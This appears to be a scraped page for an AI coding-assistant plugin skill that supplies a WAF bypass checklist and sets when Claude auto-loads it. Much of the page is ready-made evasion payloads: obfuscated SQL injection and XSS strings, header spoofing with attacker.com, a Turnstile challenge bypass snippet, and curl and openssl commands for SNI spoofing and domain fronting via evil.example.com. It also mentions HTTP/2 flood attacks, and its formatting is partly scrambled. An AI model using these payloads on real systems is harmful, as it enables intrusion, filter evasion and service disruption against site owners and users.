From cybersec-toolkit
Checklist of WAF bypass techniques including encoding bypass, case variation, comment injection, HTTP header manipulation, chunked encoding, IP rotation, timing attacks, and payload obfuscation. Use when WAF blocks payloads during authorized web app tests.
How this skill is triggered — by the user, by Claude, or both
Slash command
/cybersec-toolkit:offensive-waf-bypassThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
- **Skill Name**: waf-bypass
WAF bypass techniques checklist: encoding bypass (URL/HTML/Unicode/double encoding), case variation, comment injection, HTTP header manipulation, chunked encoding, IP rotation, timing attacks, and payload obfuscation per WAF vendor. Use when WAF is blocking payloads during web app tests.
Use this skill when the conversation involves any of:
WAF bypass, web application firewall bypass, URL encoding, double encoding, Unicode bypass, comment injection, HTTP header bypass, chunked encoding, IP rotation, payload obfuscation, WAF evasion
When this skill is active:
A Web Application Firewall (WAF) is a security tool that protects web applications from various attacks by analyzing HTTP requests and applying rules to identify and block suspicious traffic. This document outlines effective techniques to bypass WAF protections during security assessments.
graph TD
A[Client] -->|HTTP Request| B[WAF]
B -->|Filtered Request| C[Web Application]
C -->|Response| D[WAF]
D -->|Filtered Response| A
E[Attacker] -->|Malicious Request| B
B -->|Blocked| E
F[Attacker with<br>Bypass Techniques] -->|Obfuscated<br>Malicious Request| B
B -->|Request Appears Legitimate| C
style B fill:#f9a,stroke:#333,color:#333
style E fill:#f66,stroke:#333,color:#333
style F fill:#f66,stroke:#333,color:#333
WAFs operate in two primary models:
__cf_bm, cf_clearance, cf_chl_* cookies and "/cdn-cgi/" routes (cookies rotate roughly every 30 min)AWSALB or AWSALBCORS cookiesflowchart LR
A[WAF Detection Methods] --> B[Control Page Analysis]
A --> C[HTTP Header Inspection]
A --> D[Cookie Analysis]
A --> E[Route Examination]
A --> F[JavaScript Object Analysis]
B --> B1[Block Pages]
B --> B2[Challenge Pages]
B --> B3[CAPTCHA Systems]
C --> C1[Custom Security Headers]
C --> C2[Server Headers]
C --> C3[CDN Markers]
D --> D1[WAF-specific Cookies]
D --> D2[Challenge Cookies]
E --> E1[CDN Paths]
E --> E2[WAF Asset Routes]
F --> F1[Protection Objects]
F --> F2[Challenge Scripts]
style A fill:#f96,stroke:#333,stroke-width:2px,color:#333
\_cf_chl_opt)Some specific fingerprints of common WAFs:
get instead of GET) GET /login.php HTTP/1.1)fastly-debug-* headers (when enabled), service IDs in responsesHeadless browsers often set special headers or variables that help WAFs recognize them as automation tools. Use the following libraries to make headless browsers appear more human-like:
undetected_chromedriver for Seleniumpuppeteer-extra-plugin-stealth for Puppeteer/Playwrightplaywright-extra with playwright-extra-plugin-stealth for PlaywrightServices like ZenRows implement sophisticated anti-bot techniques including:
securitytrails API) – 2024 research found ~40 % of Fortune‑100 origins exposed via stale A recordsAlt-Svc leakage for HTTP/3, misconfigured Workers/Edge redirects exposing bucket hostnamessequenceDiagram
participant Attacker
participant WAF
participant Origin as Origin Server
Note over Attacker,Origin: Normal Route (Blocked)
Attacker->>WAF: Malicious Request
WAF->>Attacker: Request Blocked
Note over Attacker,Origin: Origin Bypass
Attacker->>Attacker: Find Origin IP (Shodan, etc.)
Attacker->>Origin: Direct Request with Host Header
Origin->>Attacker: Response (WAF Bypassed)
cloudflare_turnstile_bypass PoC (GUI‑driven, YMMV)// Visibility bypass: Complete Turnstile in hidden iframe
const iframe = document.createElement("iframe");
iframe.style.display = "none";
iframe.src = "https://challenges.cloudflare.com/...";
document.body.appendChild(iframe);
// Token reuse test: Check if cf_clearance tokens are single-use
// Save token from successful solve, attempt reuse across sessions
// Timing attack: Solve challenge, delay submission to test token expiry
setTimeout(() => submitWithToken(token), 60000);
Tools:
cf-clearance-scraper (2024 fork with Turnstile support)cloudflare-turnstile-solver - Automated solving with browser automationturnstile-bypass - Research tool for testing Turnstile implementationsdisplay: none)noble-tls or ja4pyabuse-ssl-bypass-waf tool to find supported SSL/TLS ciphersmindmap
root((WAF Bypass Techniques))
Network Level
Residential IPs
Origin Server Direct
IP Rotation
Distributed Requests
Browser Emulation
Headless Browser Fortification
TLS Fingerprint Evasion
JS Challenge Solving
Human Behavior Simulation
Request Manipulation
Header Manipulation
Parameter Pollution
HTTP Protocol Tricks
Encoding Variations
Attack Specific
SQLi Bypasses
XSS Obfuscation
JSON-Based Injection
Protocol Level Bypass
Tools & Services
WAF Solvers
CAPTCHA Services
Proxy Rotators
Web Scraping APIs
SeLeCt, UnIoN instead of SELECT, UNIONUN/**/ION SE/**/LECT to break up keywordsUNION → %55%4E%49%4F%4ESELECT → 0x53454C454354UNION/**/SELECT or using tabs/newlines/carriage returns1 → 1-0, 1+0, CHAR(49)CONCAT('a','b')'a'||'b''a'+'b'%00' UNION SELECT password FROM Users WHERE username='xyz'--
First pass: / → %2f
Second pass: %2f → %252f
{"id": {"$gt": "' OR 1=1--"}}graph TD
A[SQL Injection WAF Bypass] --> B[Syntax Manipulation]
A --> C[Character Encodings]
A --> D[Alternative Representations]
A --> E[SQLMap Tamper Scripts]
B --> B1[Case Variation<br>SeLeCt]
B --> B2[Comment Insertion<br>UN/**/ION]
B --> B3[Whitespace Manipulation<br>UNION++++SELECT]
C --> C1[URL Encoding<br>%55%4E%49%4F%4E]
C --> C2[Hex Encoding<br>0x53454C454354]
C --> C3[Double Encoding<br>%252f]
C --> C4[Unicode Encoding]
D --> D1[String Alternatives]
D --> D2[Numeric Alternatives]
D --> D3[JSON-Based Injection]
E --> E1[Multiple Script Chaining]
E --> E2[WAF-Specific Scripts]
style A fill:#f96,stroke:#333,stroke-width:2px,color:#333
style B,C,D,E fill:#bbf,stroke:#333,color:#333
Context-Aware Payloads: Craft payloads based on where they will be inserted:
# HTML Context
<img src=x onerror=alert(1)>
# HTML Attribute Context
" onmouseover="alert(1)
# JavaScript Context
';alert(1);//
Mutation XSS (mXSS): Use HTML parsing quirks to bypass sanitizers:
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
Alternative Tag Usage:
<svg onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>
JavaScript Obfuscation:
<script>eval(atob('YWxlcnQoMSk='))</script>
<img src=x onerror="window['al'+'ert'](1)">
Avoiding Blacklisted Words:
<script>al\u0065rt(1)</script>
<svg onload=setTimeout('al'+'ert(1)')>
Protocol Obfuscation:
<a href="javascript:alert(1)">Click Me</a>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">Click Me</a>
CSS-Based Attacks:
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss>
<div style="background-image:url('javascript:alert(1)')">
CSP Bypass Techniques:
<script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script><form id=self><input name=location> then self.locationPolyglot XSS: Payloads that work in multiple contexts:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
HTTP Method Obfuscation:
gEt instead of GET)Request Header Manipulation:
X-Forwarded-For or X-Forwarded-Host to determine the client's IP or the requested host. Manipulating these can lead to various vulnerabilities:
X-Forwarded-Host: attacker.com can cause the application to generate password reset links pointing to the attacker's domain.X-Forwarded-For: <trusted_ip> or similar headers can bypass IP-based access controls if the server trusts the header.X-Forwarded-Host, Referer) can redirect users to malicious sites.X-Forwarded-For or X-Real-IP can be manipulated to target internal IPs (e.g., 169.254.169.254 for AWS metadata service).X-Forwarded-Host: attacker.com
X-Forwarded-For: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Forwarded: for=127.0.0.1;host=attacker.com
Referer: attacker.com
Origin: null / attacker.com
# And many variations like X-Forwarded, X-Forwarded-By, etc.
HTTP Parameter Pollution:
?id=safe&id=malicious
HTTP RFC Inconsistencies:
Host Header Spoofing:
The Host header specifies the hostname the client wants to connect to, crucial for virtual hosting and reverse proxies.
If a WAF/proxy relies solely on the Host header for filtering, it can be bypassed by sending a legitimate Host header value while the actual connection (e.g., SNI in TLS, IP address) points to a blocked or different target.
Mechanism:
evil.example.com (e.g., IP address of evil.example.com).evil.example.com.Host header is set to legit.example.net (a domain allowed by the WAF).Host: legit.example.net and may allow the request, which is then routed to evil.example.com by the underlying infrastructure if it uses the Host header for routing or if the IP was already resolved to evil.example.com.Example with curl:
# SNI will be evil.example.com (matching the URL)
# Host header is spoofed to legit.example.net
curl -H "Host: legit.example.net" https://evil.example.com
sequenceDiagram
participant Alice as Alice (Attacker)
participant Proxy as WAF/Proxy
participant TargetServer as evil.example.com
participant AllowedServer as legit.example.net
Alice->>Proxy: TLS Handshake (SNI: evil.example.com, connects to IP of evil.example.com)
Proxy-->>TargetServer: Forwards TLS Handshake
TargetServer-->>Proxy: TLS Handshake Response
Proxy-->>Alice: TLS Handshake Response
Alice->>Proxy: HTTP Request (Host: legit.example.net) [Encrypted in TLS]
Note over Proxy: Proxy inspects Host header 'legit.example.net' (Allowed)
Proxy->>TargetServer: HTTP Request (Host: legit.example.net)
TargetServer->>Proxy: HTTP Response
Proxy->>Alice: HTTP Response
Applicability:
Host header.Host points to a domain with fewer restrictions.Protection:
Host header are identical.:authority ≈ SNI.HTTP Request Manipulation:
Content-Encoding: invalid
Content-Encoding: gzip
# Using NFKD normalization forms
unicodedata.normalize('NFKD', payload)
WAF Fuzzing Automation:
Advanced Encoding Techniques:
\u00\u0036\u0031 for character '1'Content‑Type declarations through chained proxies.IP Fragmentation Attacks:
Timing-Based Techniques:
Machine Learning-Based Evasion:
Browser Bugs Exploitation:
HTTP/2 :authority Header Bypass:
Host header with the :authority pseudo-header for the target URI. The :authority field includes the hostname and optionally the port.:authority field with the SNI.Host header validation checks that rely on HTTP/1.1's Host header.curl automatically uses :authority for HTTP/2 when a Host header is provided):
curl --http2 -H "Host: legit-looking-domain.com" https://actual-target-server.com/index.html
HTTP/3 (QUIC) Bypass:
Alt-Svc HTTP header in responses to HTTP/1.1 or HTTP/2 requests.curl):
curl --http3 https://example.net
HTTP/2 Rapid Reset flood (CVE‑2023‑44487): send a burst of RST_STREAM frames to overwhelm back‑ends while front‑end WAFs proxy at HTTP/1.1.
HTTP/2 CONTINUATION Flooding (2024 research): stress header compression/HPACK handling on middleboxes.
graphql‑cop, inql, Escape p‑cli for automated fuzzing.Server Name Indication (SNI) is a TLS protocol extension where the client indicates the hostname it is attempting to connect to during the TLS handshake. This is crucial for servers hosting multiple websites on a single IP address. Since the SNI is typically sent in cleartext (in the ClientHello message, unless Encrypted Client Hello - ECH - is used), web filters can inspect it to enforce policies.
SNI spoofing is a technique to bypass web filters that rely solely or primarily on the SNI value to allow or block requests. The attacker sends an SNI for a whitelisted domain while directing the actual traffic to a different, potentially blocked, server IP address.
Mechanism:
allowed.example.com) to the web filter/proxy.198.51.100.23 for blocked.example.org).Host header in the subsequent (encrypted) HTTP request might also be set to the actual target server (blocked.example.org).Examples:
Using openssl:
# Connects to IP 198.51.100.23 (blocked.example.org)
# but presents 'allowed.example.com' as SNI
openssl s_client -connect 198.51.100.23:443 -servername allowed.example.com
Using curl:
# Tells curl to connect to 198.51.100.23 (IP of blocked.example.org)
# for any request to allowed.example.com.
# The SNI will be 'allowed.example.com'.
# The Host header is explicitly set to 'blocked.example.org'.
curl -k --connect-to allowed.example.com::198.51.100.23 \
-H "Host: blocked.example.org" \
https://allowed.example.com
-k: Ignores certificate warnings (since the presented cert for blocked.example.org won't match allowed.example.com).--connect-to host1:port1:host2:port2: Resolves host1:port1 to host2:port2. Here, allowed.example.com (default port 443) is directed to 198.51.100.23 (default port 443 if not specified after IP).-H "Host: blocked.example.org": Sets the HTTP Host header for the application layer.Applicability & Proxy Types:
CONNECT request to the proxy.curl and an explicit proxy:
curl --proxy http://proxy.internal:8080 -k \
--connect-to allowed.example.com::198.51.100.23 \
-H "Host: blocked.example.org" \
https://allowed.example.com
CONNECT request, while others might resolve the hostname from the SNI themselves, potentially thwarting the bypass.CONNECT request (rather than resolving the spoofed SNI).Limitations and Protections:
SNI vs. Certificate Validation: Advanced WAFs/filters compare the SNI with the Subject Alternative Name (SAN) or Common Name (CN) in the server's presented TLS certificate.
Bypassing Certificate Checks: To bypass this, an attacker would need to control the server certificate of the target (blocked.example.org) to match the spoofed SNI (allowed.example.com). This could involve using a self-signed certificate for allowed.example.com on the attacker-controlled server.
Certificate Chain Verification: Filters should always validate the entire certificate chain and reject connections with untrusted certificates (e.g., self-signed ones if not explicitly trusted by the filter/client policy).
Omitting SNI Bypass:
ClientHello is optional according to RFC 6066.ClientHello is sent without the SNI extension.curl --insecure).Host header in the encrypted request can still be set to the desired target hostname.curl):
# Request to IP 151.101.194.133, no SNI sent.
# Spoofed Host header: compass-test.global.ssl.fastly.net
curl --insecure -v -H "Host: compass-test.global.ssl.fastly.net" https://151.101.194.133/index.html
Host header).
CONNECT requests if configured to do so.Encrypted Client Hello (ECH) Bypass:
ClientHello message, including the SNI.HTTPS records. However, this can break legitimate ECH-enabled clients and has privacy implications.Domain fronting is a technique to bypass web filters and censorship by masking the true destination of a connection. It leverages Content Delivery Networks (CDNs) by sending a request with an SNI (Server Name Indication) of a legitimate, allowed domain, while the HTTP Host header specifies a different, potentially blocked, domain that is also served by the same CDN.
Mechanism:
allowed-via-cdn.com).Host header within the encrypted TLS connection is set to the actual target server (e.g., blocked-target.com).Host header and hosts both allowed-via-cdn.com and blocked-target.com (or is configured to proxy for blocked-target.com via a frontable domain), it forwards the request to blocked-target.com.allowed-via-cdn.com at the network/TLS layer, but the content is served from blocked-target.com.sequenceDiagram
participant Alice as Alice (Attacker)
participant Firewall as Web Filter/Firewall
participant CDN as CDN Server
participant TargetServer as blocked-target.com
participant AllowedFront as allowed-via-cdn.com (front domain)
Alice->>Firewall: TLS Handshake (SNI: allowed-via-cdn.com, connects to CDN IP)
Firewall->>CDN: Forwards TLS Handshake (SNI: allowed-via-cdn.com)
Note over CDN: CDN handles TLS for allowed-via-cdn.com
CDN-->>Firewall: TLS Handshake Response
Firewall-->>Alice: TLS Handshake Response
Alice->>Firewall: HTTP Request (Host: blocked-target.com) [Encrypted in TLS]
Firewall->>CDN: Forwards Encrypted HTTP Request
Note over CDN: CDN decrypts, sees Host: blocked-target.com
CDN->>TargetServer: Proxies/Routes Request to blocked-target.com
TargetServer->>CDN: HTTP Response
CDN->>Firewall: HTTP Response [Encrypted in TLS]
Firewall->>Alice: HTTP Response
Key Points:
Host header and do not strictly validate SNI against the Host header.Host header) is hidden within the encrypted HTTP traffic.Example with curl and Fastly CDN:
Fastly is a CDN known to allow domain fronting (at the time of the referenced article).
Setup Evil Server: A server evil.example.com is set up.
Fastly Configuration:
evil.example.com.your-service.global.ssl.fastly.net. This will be used in the Host header.Find a Frontable Domain: Find a legitimate domain (e.g., frontable.example.org) that is also served by Fastly and shares IP infrastructure with your-service.global.ssl.fastly.net.
Execute Domain Fronting:
# SNI will be frontable.example.org (allowed domain on Fastly)
# Host header is your-service.global.ssl.fastly.net (points to evil.example.com)
curl -H "Host: your-service.global.ssl.fastly.net" https://frontable.example.org/
frontable.example.org, for which Fastly provides a valid certificate.Host header your-service.global.ssl.fastly.net tells Fastly to fetch content from evil.example.com.CDNs and Domain Fronting Stance:
Host header match and block requests if they don't.Detection and Protection:
Host header in the decrypted HTTP request. If they differ, the request can be flagged or blocked.# 1. Semantic Evasion: Use synonyms and paraphrasing
# Instead of: <script>alert(1)</script>
# Try: <svg/onload=self[atob('YWxlcnQ='):](1)>
# 2. Adversarial Token Injection: Add noise tokens
<script>/*benign benign benign benign benign*/alert(1)</script>
# 3. Embedding Space Manipulation: Use non-ASCII lookalikes
<ѕcript>alert(1)</ѕcript> # Cyrillic 's' characters
# 4. Feature Engineering Bypass: Target low-weight features
# AI WAFs often ignore certain request parts
POST /upload
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="<script>alert(1)</script>"
# Payload in filename field (often not heavily weighted)
# 5. Context Confusion: Mix attack vectors
# Combine SQL injection syntax with XSS to confuse classifiers
'><script>alert(1)</script>' UNION SELECT 1--
Tools:
ml-waf-evasion-toolkit (2024) - Research tool for testing ML WAF robustnessadversarial-payload-generator - Generates adversarial examples against WAF classifiersCombine multiple techniques for more effective bypassing:
npx claudepluginhub 26zl/cybersec-toolkit --plugin cybersec-toolkitFor penetration testing: bypass WAF protections using encoding, HTTP method manipulation, parameter pollution, and payload obfuscation to deliver SQL injection and XSS attacks.
For penetration testing: bypass WAF protections using encoding, HTTP method manipulation, parameter pollution, and payload obfuscation to deliver SQL injection and XSS attacks.
Bypasses WAFs using encoding, HTTP method manipulation, parameter pollution, and payload obfuscation to deliver SQLi, XSS payloads in pentesting and red team exercises.